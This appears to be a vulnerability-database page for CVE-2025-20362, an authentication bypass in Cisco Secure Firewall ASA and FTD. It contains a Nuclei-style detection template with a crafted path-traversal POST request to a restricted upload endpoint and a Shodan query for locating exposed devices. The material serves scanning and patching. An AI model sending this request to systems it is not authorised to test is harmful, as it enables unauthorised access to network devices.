CVE-2025-20362: Cisco Secure Firewall ASA & FTD - Authentication Bypass

2025-08-01 Cisco Secure Firewall ASA & FTD PoC Public

Description

A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to access restricted URL endpoints that are related to remote access VPN that should otherwise be inaccessible without authentication. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests.

PoC

id: CVE-2025-20362

info:
  name: Cisco Secure Firewall ASA & FTD - Authentication Bypass
  author: DhiyaneshDk,attackerkb,brendan-rsoc
  severity: medium
  description: |
    A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to access restricted URL endpoints that are related to remote access VPN that should otherwise be inaccessible without authentication. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests.
  impact: |
    An attacker could exploit this vulnerability by sending crafted HTTP requests to a targeted web server on a device. A successful exploit could allow the attacker to access a restricted URL without authentication.
  remediation: |
    Update to the latest available version of Cisco Secure Firewall ASA and FTD Software.
  reference:
    - https://attackerkb.com/topics/Szq5u0xgUX/cve-2025-20362/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/cve-2025-20362
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-20362
    epss-score: 0.87085
    epss-percentile: 0.99738
    cwe-id: CWE-862
    cpe: cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: adaptive-security-appliance-software
    shodan-query: html:"/+CSCOE+/logon.html"
  tags: cve,cve2025,cisco,asa,auth-bypass,kev,vkev,vuln

http:
  - raw:
      - |
        POST /+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;boundary=ee
        Content-Length: 10

        aabbccdd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('CSRF token mismatch')"
          - "Failed to upload file"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bd85f3e60235318df2055f21f38cdad325c67f4d2b53ad94d5c3ae1d004ab67402210097ff186ed3e49b94a7697783a1c64c67c8fc02ce91c726f9679cae311cb167d0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities